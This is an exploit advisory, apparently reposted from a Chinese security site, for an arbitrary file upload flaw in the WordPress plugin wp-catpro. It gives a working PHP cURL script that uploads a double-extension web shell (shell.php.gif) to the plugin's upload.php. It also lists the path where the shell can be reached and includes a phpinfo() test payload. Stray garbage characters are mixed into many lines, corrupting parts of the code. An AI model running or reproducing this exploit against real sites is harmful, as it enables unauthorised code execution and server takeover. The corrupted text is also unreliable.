WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
2 J3 W' d; b8 j/ {, N
( O; W4 o1 X9 X9 c' I! A作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
( d* l4 z1 B! X& M9 }下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
: E$ `7 j3 c6 I8 x" X' U
#=> Exploit 信息:
------------------
# |& y6 }. Q: I  H9 y; X+ _# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
* g2 Z: j* \' X9 d4 G2 ?# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
/ L- G5 b- p& G8 l' }------------------

#=> Exploit
-----------
- D" U" g- X: E6 R- |<?php
9 T' S$ _/ t; a) c  p1 I
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
* Q- W4 Y. q6 r  k( Z% d0 acurl_setopt($ch, CURLOPT_POST, true);
; }' Q0 q1 P# f4 t& ncurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
" T3 ~' u% M' k* V5 scurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
3 t) M8 H. W9 d. f) {. c% ocurl_close($ch);
; t9 v- ~- D# G
print "$postResult";

; r/ C* u, c- w: b% V6 e/ W2 a9 pShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
( b, k2 G' t4 `- r/ W" q5 [  ?>
<?php
4 a% |+ j  H3 O9 |2 X$ i" X! E9 cphpinfo();
5 w: a  N/ |2 ?+ L9 m$ E. V?>